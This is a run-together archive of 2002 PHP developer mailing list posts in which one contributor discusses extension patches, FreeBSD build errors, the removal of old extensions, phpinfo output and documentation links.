Re: [PHP-DEV] CyberMut and SPPLUS
Hi, On Thu, Nov 07, 2002 at 09:00:37AM +0100, [EMAIL PROTECTED] wrote: Hello, I dont think that it can be introduced into PEAR because this is NOT PHP but a real php extensions. It needs librairies etc... Thats exactly the same than ext/cybermut but for an other bank where I work. Please comment this. Markus said PECL, wich is the part of PEAR that is perfect for your extension. And for the record, CyberMut will be moved there as soon as a developer finds time to do that. Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net/ Got an old and spare laptop? Please send me a mail. Key7BCC EB86 8313 DDA9 25DF Fingerprint1805 ECA5 BCB7 BB96 56B0 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] CyberMut and SPPLUS
HI, On Thu, Nov 07, 2002 at 03:35:55PM +0100, [EMAIL PROTECTED] wrote: Okay, nice. Who can gimme enough karma to commit this new ext? spplus would be the best name. [EMAIL PROTECTED] + sterling Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net/ Got an old and spare laptop? Please send me a mail. Key7BCC EB86 8313 DDA9 25DF Fingerprint1805 ECA5 BCB7 BB96 56B0 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] short_open_tag
Hi, On Fri, Oct 18, 2002 at 11:50:12AM +0200, Zeev Suraski wrote: I can only argue with myself so much, eh? :) yeah, just keep pretending dude... :) Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net/ Got an old and spare laptop? Please send me a mail. Key7BCC EB86 8313 DDA9 25DF Fingerprint1805 ECA5 BCB7 BB96 56B0 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] Bug handling survey - Tree based models
Hi, On Wed, Oct 09, 2002 at 09:38:46AM -0500, Gunes Koru wrote: Hello PHP contributors, didn't we agree not to do that again? Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net/ Got an old and spare laptop? Please send me a mail. Key7BCC EB86 8313 DDA9 25DF Fingerprint1805 ECA5 BCB7 BB96 56B0 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, visit: http://www.php.net/unsub.php
[PHP-DEV] ext/readline
Hey list, thies, the patch below fixes ext/readline on my FreeBSD system, can you please have a look at it and veri- or falsify it? Thank you! === RCS file: /repository/php4/ext/readline/readline.c,v retrieving revision 1.29 diff -u -r1.29 readline.c --- ext/readline/readline.c 22 Mar 2002 01:10:30 - 1.29 +++ ext/readline/readline.c 8 Oct 2002 09:32:14 - -38,7 +38,9 PHP_FUNCTION(readline_add_history); PHP_FUNCTION(readline_info); PHP_FUNCTION(readline_clear_history); +#ifndef HAVE_LIBEDIT PHP_FUNCTION(readline_list_history); +#endif PHP_FUNCTION(readline_read_history); PHP_FUNCTION(readline_write_history); PHP_FUNCTION(readline_completion_function); -57,7 +59,7 PHP_FE(readline_info, NULL) PHP_FE(readline_add_history,NULL) PHP_FE(readline_clear_history, NULL) -#ifdef HAVE_LIBREADLINE +#ifndef HAVE_LIBEDIT PHP_FE(readline_list_history, NULL) #endif PHP_FE(readline_read_history, NULL) -256,7 +258,7 /* }}} */ /* {{{ proto array readline_list_history(void) Lists the history */ -#ifdef HAVE_LIBREADLINE +#ifndef HAVE_LIBEDIT PHP_FUNCTION(readline_list_history) { HIST_ENTRY **history; Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net/ Got an old and spare laptop? Please send me a mail. Key7BCC EB86 8313 DDA9 25DF Fingerprint1805 ECA5 BCB7 BB96 56B0 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, visit: http://www.php.net/unsub.php
[PHP-DEV] ext/sysvmsg
Hello again, can somebody with a better knowledge than me have a look at ext/sysvmsg/sysvmsg.c ? On my FreeBSD 4.6 system I get gcc -Iext/sysvmsg/ -I/mnt/data/cvs/php4clean/ext/sysvmsg/ -DPHP_ATOM_INC -I/mnt/data/cvs/php4clean/include -I/mnt/data/cvs/php4clean/main -I/mnt/data/cvs/php4clean -I/mnt/data/cvs/php4clean/Zend -I/usr/local/include -I/usr/local/include -I/usr/local/include/libxml2 -I/usr/local/FrontBase/include -I/usr/local/include/mcal -I/usr/local/include/ming -I/usr/local/include/pspell -I/usr/local/include/ucd-snmp -I/mnt/data/cvs/php4clean/ext/xml/expat -I/mnt/data/cvs/php4clean/TSRM -g -O2 -c /mnt/data/cvs/php4clean/ext/sysvmsg/sysvmsg.c -o ext/sysvmsg/sysvmsg.o echo ext/sysvmsg/sysvmsg.lo /mnt/data/cvs/php4clean/ext/sysvmsg/sysvmsg.c: In function `zif_msg_receive': /mnt/data/cvs/php4clean/ext/sysvmsg/sysvmsg.c:292: sizeof applied to an incomplete type /mnt/data/cvs/php4clean/ext/sysvmsg/sysvmsg.c:308: dereferencing pointer to incomplete type /mnt/data/cvs/php4clean/ext/sysvmsg/sysvmsg.c:313: dereferencing pointer to incomplete type /mnt/data/cvs/php4clean/ext/sysvmsg/sysvmsg.c:325: dereferencing pointer to incomplete type /mnt/data/cvs/php4clean/ext/sysvmsg/sysvmsg.c: In function `zif_msg_send': /mnt/data/cvs/php4clean/ext/sysvmsg/sysvmsg.c:365: sizeof applied to an incomplete type /mnt/data/cvs/php4clean/ext/sysvmsg/sysvmsg.c:366: dereferencing pointer to incomplete type /mnt/data/cvs/php4clean/ext/sysvmsg/sysvmsg.c:371: sizeof applied to an incomplete type /mnt/data/cvs/php4clean/ext/sysvmsg/sysvmsg.c:372: dereferencing pointer to incomplete type /mnt/data/cvs/php4clean/ext/sysvmsg/sysvmsg.c:377: dereferencing pointer to incomplete type Thank you again and sorry for the long lines. Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net/ Got an old and spare laptop? Please send me a mail. Key7BCC EB86 8313 DDA9 25DF Fingerprint1805 ECA5 BCB7 BB96 56B0 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] ext/sysvmsg
Hi, even more errors show up when the previously quoted lines are commented out: gcc -Iext/sysvmsg/ -I/mnt/data/cvs/php4clean/ext/sysvmsg/ -DPHP_ATOM_INC -I/mnt/data/cvs/php4clean/include -I/mnt/data/cvs/php4clean/main -I/mnt/data/cvs/php4clean -I/mnt/data/cvs/php4clean/Zend -I/usr/local/include -I/usr/local/include -I/usr/local/include/libxml2 -I/usr/local/FrontBase/include -I/usr/local/include/mcal -I/usr/local/include/ming -I/usr/local/include/pspell -I/usr/local/include/ucd-snmp -I/mnt/data/cvs/php4clean/ext/xml/expat -I/mnt/data/cvs/php4clean/TSRM -g -O2 -c /mnt/data/cvs/php4clean/ext/sysvmsg/sysvmsg.c -o ext/sysvmsg/sysvmsg.o echo ext/sysvmsg/sysvmsg.lo /mnt/data/cvs/php4clean/ext/sysvmsg/sysvmsg.c: In function `zif_msg_send': /mnt/data/cvs/php4clean/ext/sysvmsg/sysvmsg.c:365: sizeof applied to an incomplete type /mnt/data/cvs/php4clean/ext/sysvmsg/sysvmsg.c:366: dereferencing pointer to incomplete type /mnt/data/cvs/php4clean/ext/sysvmsg/sysvmsg.c:371: sizeof applied to an incomplete type /mnt/data/cvs/php4clean/ext/sysvmsg/sysvmsg.c:372: dereferencing pointer to incomplete type /mnt/data/cvs/php4clean/ext/sysvmsg/sysvmsg.c:377: dereferencing pointer to incomplete type *** Error code 1 Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net/ Got an old and spare laptop? Please send me a mail. Key7BCC EB86 8313 DDA9 25DF Fingerprint1805 ECA5 BCB7 BB96 56B0 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, visit: http://www.php.net/unsub.php
[PHP-DEV] ext/sysvmsg permissions
Hey, there seem to be some permission problems in ext/sysvmsg. root@dahlia /mnt/data/cvs/php4snap/ext/sysvmsg ls -la total 22 drwxr-xr-x4 jan wheel512 Sep 2 14:39 . drwxr-xr-x 100 jan wheel 2048 Sep 9 13:08 .. -r--r--r--1 jan wheel 39 Apr 26 01:14 .cvsignore -r--r--r--1 jan wheel 39 Apr 26 01:14 CREDITS drwxr-xr-x2 jan wheel512 Sep 2 14:40 CVS -r--r--r--1 jan wheel 0 Apr 26 01:14 EXPERIMENTAL -r--r--r--1 jan wheel302 Apr 26 01:14 config.m4 -r--r--r--1 jan wheel 2037 Apr 26 01:14 php_sysvmsg.h -r--r--r--1 jan wheel 11476 Apr 29 14:52 sysvmsg.c drwxr-xr-x3 jan wheel512 Sep 2 14:39 tests Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net/ Got an old and spare laptop? Please send me a mail. Key7BCC EB86 8313 DDA9 25DF Fingerprint1805 ECA5 BCB7 BB96 56B0 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, visit: http://www.php.net/unsub.php
[PHP-DEV] ext/ccvs
Hey, to my knowledge ccvs was dropped by RedHat and I can't seem to find a recent library to build PHP against. In conclusion, I propose the removal of ext/ccvs. If a kind soul can point me to a library, I am willing to do the necessary changes to integrate it into PECL. Comments are highly welcome. Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net/ Got an old and spare laptop? Please send me a mail. Key7BCC EB86 8313 DDA9 25DF Fingerprint1805 ECA5 BCB7 BB96 56B0 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, visit: http://www.php.net/unsub.php
[PHP-DEV] ext/aspell
Hey there hard working folks, aspell was replaced by pspell long ago, hence I like to remove aspell from the main source tree to either PECL or /dev/null. Any objections? Comments are highly welcome. Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net/ Got an old and spare laptop? Please send me a mail. Key7BCC EB86 8313 DDA9 25DF Fingerprint1805 ECA5 BCB7 BB96 56B0 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] ext/aspell
Hi, On Mon, Oct 07, 2002 at 07:50:00PM +0200, Melvyn Sopacua wrote: The config option just makes it easier to find, especially when you delete aspell from the tree. You would basically try to accomplish, that: ../configure --help | grep aspell we can easily add a note like: --with-pspell Include Gnu-aspell support (formerly known as pspell) everyone happy with that? :) Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net/ Got an old and spare laptop? Please send me a mail. Key7BCC EB86 8313 DDA9 25DF Fingerprint1805 ECA5 BCB7 BB96 56B0 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] Segfault in implode()
Hi, On Sun, Oct 06, 2002 at 12:10:17PM +0200, Martin Jansen wrote: FYI: Yesterdays snapshot segfaults with the following line of code: ?php $foo = implode(, array()); ? I cannot reproduce this with current HEAD on FreeBSD, can you give more information about your build environment, or even a backtrace? Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net/ Got an old and spare laptop? Please send me a mail. Key7BCC EB86 8313 DDA9 25DF Fingerprint1805 ECA5 BCB7 BB96 56B0 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, visit: http://www.php.net/unsub.php
[PHP-DEV] Re: userstreams.phpt
Hi, On Sun, Oct 06, 2002 at 12:49:28PM +0100, Wez Furlong wrote: The test actually passes, but the current output buffer problems mean that the output that is normally discarded for a successful test is still being output, and that causes the test harness to mark it as failed. thanks for the enlightenment, Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net/ Got an old and spare laptop? Please send me a mail. Key7BCC EB86 8313 DDA9 25DF Fingerprint1805 ECA5 BCB7 BB96 56B0 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] CGI SAPI binary location
Hi, On Sat, Sep 28, 2002 at 09:03:29PM +0900, Yasuo Ohgaki wrote: Does anyone find problem in this patch? I think 'make test' must be adjusted to these changes, not sure though. Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net/ Got an old and spare laptop? Please send me a mail. Key7BCC EB86 8313 DDA9 25DF Fingerprint1805 ECA5 BCB7 BB96 56B0 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] phpinfo() - removing ascii art
Hi, On Fri, Sep 27, 2002 at 06:42:17PM +0900, Yasuo Ohgaki wrote: I would like to remove ascii art from text version of phpinfo(). We shouldn't add things that do not work well. i.e. back slash has many interpretations. Any comments? 'fixed' in CVS ;) Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net/ Got an old and spare laptop? Please send me a mail. Key7BCC EB86 8313 DDA9 25DF Fingerprint1805 ECA5 BCB7 BB96 56B0 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] feedback on PHP's WDDX
Hi, On Fri, Sep 27, 2002 at 11:15:59PM +0800, Jimmy wrote: $complex_var = array ( 0 = 'nothing', 'MyOS' = array('linux', 'win32', 'BSDI'), // normal array 'hash' = array('key' = 'val', 'key2' = 'val' ), //assoc array 'file' = contain unicode char, so I want binary ) wddx_serialize($complex_var, WDDX_BINARY); wddx_serialize($complex_var, WDDX_ARRAY); wddx_serialize($complex_var, WDDX_HASH); // what will happen if user call the function with those param? what about wddx_serialize($complex_var, array( WDDX_EMPTY, ... WDDX_HASH = array( WDDX_STRING=WDDX_STRING, WDDX_STRING=WDDX_STRING) ), WDDX_BINARY ); It just came to my mind, I haven't thought that through. Jan --- Q: Thank Jan? A: http://geschenke.an.dasmoped.net/ Got an old and spare laptop? Please send me a mail. Key7BCC EB86 8313 DDA9 25DF Fingerprint1805 ECA5 BCB7 BB96 56B0 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] feedback on PHP's WDDX
Hi, can you please file a bugreport on bugs.php.net and assign it to me (cvs id is jan). I'll look into this. Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net/ Got an old and spare laptop? Please send me a mail. Key7BCC EB86 8313 DDA9 25DF Fingerprint1805 ECA5 BCB7 BB96 56B0 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] Re: [PHP-CVS] cvs: php4 /ext/standard info.c
Hi, On Thu, Aug 29, 2002 at 11:26:20AM +0200, Sebastian Bergmann wrote: Jan Lehnardt wrote: jan Thu Aug 29 05:11:22 2002 EDT Modified files: /php4/ext/standard info.c Log: - fix ZTS build. thanks to edin. It builds now, yes. But the HTML output looks broken to me. FI, the Registered PHP Streams are all on one line, values for directives like auto_append_file, auto_prepend_file, ... are empty. do they show up in the html version? Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net/ Got an old and spare laptop? Please send me a mail. -- PHP Development Mailing List http://www.php.net/ To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] Re: [PHP-CVS] cvs: php4 /ext/standard info.c
Hi, forget my last message. If you don't specify a prepend file the value is empty, isn't it? Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net/ Got an old and spare laptop? Please send me a mail. -- PHP Development Mailing List http://www.php.net/ To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] Re: [PHP-CVS] cvs: php4 /ext/standard info.c
Hi, fixed in CVS. Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net/ Got an old and spare laptop? Please send me a mail. -- PHP Development Mailing List http://www.php.net/ To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] MFH -R php4/pear/* files
Hi, On Thu, Aug 29, 2002 at 10:56:33PM +0200, Martin Jansen wrote: Doh, that's because of the incredible heat in Germany ;-). are there two germanys? it is not hot at all here ;) SCNR, Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net/ Got an old and spare laptop? Please send me a mail. -- PHP Development Mailing List http://www.php.net/ To unsubscribe, visit: http://www.php.net/unsub.php
[PHP-DEV] Re: [PHP-CVS] cvs: php4 /ext/standard info.c /main php_ini.c
Hi, On Thu, Aug 29, 2002 at 12:58:52AM +0200, Marcus Börger wrote: Did i recognize this correctly: You assume html_errors=on to differentiate wehther or not to return html? what else could be the purpose of html_errors. Wouldn't it be better to have this beeing a parameter to all info relevant functions and settings this to 0 in case of sapi cli? what do you mean? -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net/ Got an old and spare laptop? Please send me a mail. -- PHP Development Mailing List http://www.php.net/ To unsubscribe, visit: http://www.php.net/unsub.php
[PHP-DEV] Re: [PHP-DOC] Re: [PHP-DEV] php_error_docref
Hi, On Tue, Aug 13, 2002 at 05:26:17PM +0200, Marcus Börger wrote: At 17:05 13.08.2002, Dan Kalowsky wrote: On Tue, 13 Aug 2002, Marcus [iso-8859-1] Börger wrote: 2) Can we please remove the http://www.php.net/manual/en/blahblahblah; style of use for this? It will tend to force users into one language or another, and not make PHP as friendly/usable to other languages. NO! First you can simply set docref_root in your ini to point to your local copy of the manual in whatever language and Second it is a problem of the php website. It should automatically redirect from php.net/function.functionname to php.net/manual/yourlanguage/functionname.php I'm not sure I see the point still. What I'm proposing is not allowing: php_error_docref(http://www.php.net/manual/en/function.fopen; TSRMLS_CC, E_WARNING, Spongebob Square Pants rules); The point is to be able to direct to external sites not on php.net! For example when a function is just a wrapper around a library then you can use the absolute form of the docref parameter (http://site) to point to the library's website. if the PHP function is 'just a wrapper' the manual (at least should) contain a link to external documentation (if available). I see nothing wrong with limiting linking just to mirror.php.net Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net/ Got an old and spare laptop? Please send me a mail. -- PHP Development Mailing List http://www.php.net/ To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] Re: [PHP-DOC] Re: [PHP-DEV] php_error_docref
Hi, On Wed, Aug 14, 2002 at 10:09:52AM +0200, Marcus Börger wrote: Then there is only the last argument not spoken about yet: Externally developed extensions. and PECL extensions respectively. For external developed extensions I suggest putting them into PECL (at least the documentation, if there are license issues about the extension's code itself) and for PECL docs I suggest some kind of shortcut like: php.net/pecl.function and php.net/pear.function while we are at it. Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net/ Got an old and spare laptop? Please send me a mail. -- PHP Development Mailing List http://www.php.net/ To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] Re: [PHP-DOC] Re: [PHP-DEV] php_error_docref
Hi, On Wed, Aug 14, 2002 at 10:25:40AM +0200, Marcus Börger wrote: Erm - good point we cannot find pecl.function.name automatically by docref=NULL. Either pecl must be available by function.name or by just using name on php.net. This is also a problem for external copies of the manual. erm, what? Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net/ Got an old and spare laptop? Please send me a mail. -- PHP Development Mailing List http://www.php.net/ To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] Re: [PHP-DOC] Re: [PHP-DEV] php_error_docref
Hi, On Wed, Aug 14, 2002 at 10:41:24AM +0100, Wez Furlong wrote: So, you're suggesting that all external extensions have to be in PECL in order for the error message to link to further documentation?? What about projects like APC/APD? SRM? NameOfYourFavouriteThirdPartyBinarySCEHere? Do they all have to be hosted on php.net?? hell, no ;) I think it would be nice if there would at least be a pice of documentation for such NameOfYourFavouriteThirdPartyBinarySCEHere somwhere on php.net, integrated with all the other docs. And if it is just a name and link to an external documentation it is sufficient. Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net/ Got an old and spare laptop? Please send me a mail. -- PHP Development Mailing List http://www.php.net/ To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] New function request - mysql_info() (patch included)
Hi, this version exists in 4.3-dev and will be available in the upcoming 4.3 release, however, not in earlier ones. I added it months ago ;) Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net/ Got an old and spare laptop? Please send me a mail. -- PHP Development Mailing List http://www.php.net/ To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] 4.3 release call to arms
Hi, On Thu, Jul 25, 2002 at 11:20:42PM +0200, Stig S. Bakken wrote: Here is, again, the 4.3 TODO list. Most of these require only tweaking and lots of testing. [..] 11. phpinfo for CLI (jan) [in progress] I hope to have it running as fast as possible, though time is short. Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net/ Got an old and spare laptop? Please send me a mail. -- PHP Development Mailing List http://www.php.net/ To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] callback in classes?
Hi, first, this is not the right list for asking such questions; try [EMAIL PROTECTED] nex time. second, use array('class', 'method'); to call static functions Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net/ -- PHP Development Mailing List http://www.php.net/ To unsubscribe, visit: http://www.php.net/unsub.php
[PHP-DEV] New extract feature
Hi, the attached patch enables extract() to take user defined callback function to process the extracted variable names. It also fixes a minor WS problem I introduced before. Example: ?php $array = array('a' = 'huhu', 'b' = 'haha'); function extract_func($s, $p, $b) { return (( $b ) ? $p:my__).$s; } extract($array); extract($array,EXTR_USER_FUNC,'extract_func',array(pref,true)); var_dump($a); var_dump($b); var_dump($my__a); var_dump($my__b); var_dump($prefa); var_dump($prefb); ? I like the patch to be reviewd before I commit it, thank you. Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net/ Index: ext/standard/array.c === RCS file: /repository/php4/ext/standard/array.c,v retrieving revision 1.167 diff -u -r1.167 array.c --- ext/standard/array.c18 Jun 2002 13:16:33 - 1.167 +++ ext/standard/array.c30 Jun 2002 16:02:41 - -55,23 +55,24 #define EXTR_OVERWRITE 0 #define EXTR_SKIP 1 #define EXTR_PREFIX_SAME 2 -#defineEXTR_PREFIX_ALL 3 -#defineEXTR_PREFIX_INVALID 4 -#defineEXTR_PREFIX_IF_EXISTS 5 -#defineEXTR_IF_EXISTS 6 - -#define SORT_REGULAR 0 -#define SORT_NUMERIC 1 -#defineSORT_STRING 2 +#define EXTR_PREFIX_ALL3 +#define EXTR_PREFIX_INVALID4 +#define EXTR_PREFIX_IF_EXISTS 5 +#define EXTR_IF_EXISTS 6 +#define EXTR_USER_FUNC 7 + +#define SORT_REGULAR 0 +#define SORT_NUMERIC 1 +#define SORT_STRING2 -#define SORT_DESC 3 -#define SORT_ASC 4 +#define SORT_DESC 3 +#define SORT_ASC 4 -#define CASE_LOWER 0 -#define CASE_UPPER 1 +#define CASE_LOWER 0 +#define CASE_UPPER 1 -#define COUNT_NORMAL 0 -#define COUNT_RECURSIVE1 +#define COUNT_NORMAL 0 +#define COUNT_RECURSIVE1 PHP_MINIT_FUNCTION(array) { -86,6 +87,7 REGISTER_LONG_CONSTANT(EXTR_PREFIX_INVALID, EXTR_PREFIX_INVALID, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT(EXTR_PREFIX_IF_EXISTS, EXTR_PREFIX_IF_EXISTS, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT(EXTR_IF_EXISTS, EXTR_IF_EXISTS, CONST_CS | CONST_PERSISTENT); + REGISTER_LONG_CONSTANT(EXTR_USER_FUNC, EXTR_USER_FUNC, CONST_CS | +CONST_PERSISTENT); REGISTER_LONG_CONSTANT(SORT_ASC, SORT_ASC, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT(SORT_DESC, SORT_DESC, CONST_CS | CONST_PERSISTENT); -1130,17 +1132,18 } -/* {{{ proto int extract(array var_array [, int extract_type [, string prefix]]) +/* {{{ proto int extract(array var_array [, int extract_type [, string prefix [, +array arguments]]]) Imports variables into symbol table from an array */ PHP_FUNCTION(extract) { zval **var_array, **z_extract_type, **prefix; zval **entry, *data; + zval **user_func_res, **user_func_params, **args[99], *user_func_name; char *var_name; smart_str final_name = {0}; ulong num_key; uint var_name_len; - int var_exists, extract_type, key_type, count = 0; + int var_exists, extract_type, key_type, count = 0, argc, i = 1, +user_func_params_flag = 0; HashPosition pos; switch (ZEND_NUM_ARGS()) { -1170,7 +1173,29 } convert_to_long_ex(z_extract_type); extract_type = Z_LVAL_PP(z_extract_type); - convert_to_string_ex(prefix); + if ((Z_TYPE_PP(prefix) == IS_ARRAY) (extract_type == +EXTR_USER_FUNC)) { + convert_to_array_ex(prefix); + } else { + convert_to_string_ex(prefix); + } + + break; + + case 4: + if (zend_get_parameters_ex(4, var_array, z_extract_type, +prefix, user_func_params) == FAILURE) { + WRONG_PARAM_COUNT; + } + convert_to_long_ex(z_extract_type); + extract_type = Z_LVAL_PP(z_extract_type); + if (Z_TYPE_PP(prefix) == IS_ARRAY) { + convert_to_array_ex(prefix); + } else { + convert_to_string_ex(prefix); + } + SEPARATE_ZVAL(user_func_params); + convert_to_array_ex(user_func_params); + + user_func_params_flag = 1;
Re: [PHP-DEV] Idea for CLI feature
Hi, On Thu, Jun 27, 2002 at 07:43:02PM +0300, Andi Gutmans wrote: Does anyone feel like doing this? I don't have too much time :'( it is on my todo list, I'll give it a try at the weekend. Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net/ -- PHP Development Mailing List http://www.php.net/ To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] Re: [PHP-CVS] cvs: php4 /ext/mbstring config.m4
Hi, On Sun, 12 May 2002 19:33:13 +0200 Sebastian Bergmann [EMAIL PROTECTED] wrote: Shouldn't '--without-mysql' be renamed to '--disable-mysql' then? you want to have --with-mysql=/path/to and --disable-mysql as the two options ? -1 Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net/ -- PHP Development Mailing List http://www.php.net/ To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] CVS Account Request: devuser
Hi, On 9 Apr 2002 06:09:15 - devuser [EMAIL PROTECTED] wrote: learn you don't need a cvs account to learn PHP. Please look at http://www.php.net/manual Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net/ -- PHP Development Mailing List http://www.php.net/ To unsubscribe, visit: http://www.php.net/unsub.php
[PHP-DEV] Re: [PHP-QA] Supporting Apache 2 with PHP 4.2.0
Hi, On Tue, 9 Apr 2002 12:03:51 +0200 (CEST) Derick Rethans [EMAIL PROTECTED] wrote: I am not confident that apache 2 / PHP 4.2.0 is stable enough for production yet, and therefore recommend to drop the apache2filter from the release branch. If you can't do it properly, don't do it is my motto here. I hope this is the same with you. +1 from here. Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net/ -- PHP Development Mailing List http://www.php.net/ To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] declaring arrays.
Hi, On Mon, 8 Apr 2002 13:55:38 +0200 Vasoczki Ferenc [EMAIL PROTECTED] wrote: I am new on this list, and i have no big experiences in php. Now i am writing a script, what is counting some records in 5 MySQL table. this is not the appropriate list for questions about development with PHP, but of PHP. Please ask such questions on [EMAIL PROTECTED] and please have a close to the Manual (http://php.net/array) Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net/ -- PHP Development Mailing List http://www.php.net/ To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] RFC: stream notification handlers
Hi, On Mon, 8 Apr 2002 13:15:27 +0100 Wez Furlong [EMAIL PROTECTED] wrote: proto resource fopen(string filename, string mode [, bool use_include_path [, resource context]]) context is only optional if you use use_include_path in this proto. Is that desired? Don't you mean proto resource fopen(string filename, string mode [, bool use_include_path] [, resource context]) Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net/ -- PHP Development Mailing List http://www.php.net/ To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] RFC: stream notification handlers
Hi, On Mon, 8 Apr 2002 15:22:59 +0100 Wez Furlong [EMAIL PROTECTED] wrote: Well, since you cant skip optional parameters, those protos are equivalent. my fault, sorry (also to Markus ;) Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net/ -- PHP Development Mailing List http://www.php.net/ To unsubscribe, visit: http://www.php.net/unsub.php
[PHP-DEV] apache2 on FreeBSD
Hi, in order to run apache2 on FreeBSD, you need to add --with-tsrm-pth to your ./configure line. I attached a patch to configure.in that throws a WARNING. I hope I cought all possibilities, but I am sure Jani will find a gotcha; thats why I have not comitted it directly ;) Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net/ Index: configure.in === RCS file: /repository/php4/configure.in,v retrieving revision 1.334 diff -u -r1.334 configure.in --- configure.in6 Apr 2002 13:42:39 - 1.334 +++ configure.in7 Apr 2002 13:59:19 - -1170,6 +1170,15 dnl rm -f main/internal_functions.c.old dnl fi + if test $UNAME = FreeBSD test $PHP_SAPI = apache2filter test $TSRM_PTH != +pth-config ; then +echo ++ +echo |*** WARNING *** | +echo || +echo | In order to build PHP as a Apache2 module on FreeBSD, you have to | +echo | add --with-tsrm-pth to your ./configure line. Therefore you need | +echo | to install gnu-pth from /usr/ports/devel/pth. | + fi + if test -n $PHP_APXS_BROKEN; then echo ++ echo | WARNING: Your $APXS script is most likely broken. -- PHP Development Mailing List http://www.php.net/ To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] Weird configure problem
Hi, On Mon, 1 Apr 2002 21:20:42 -0500 Jon Parise [EMAIL PROTECTED] wrote: Am I the only one seeing this: checking size of char... configure: error: cannot compute sizeof (char), 77 This is with the latest PHP cvs, autoconf-2.53, and automake-1.5 under FreeBSD. I last built PHP successfully on March 26. I have no problems running configure with the above tools on FreeBSD 4.4-RELEASE. Both, automake 1.4 and 1.5 work well. Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net/ -- PHP Development Mailing List http://www.php.net/ To unsubscribe, visit: http://www.php.net/unsub.php
[PHP-DEV] HEAD warnings
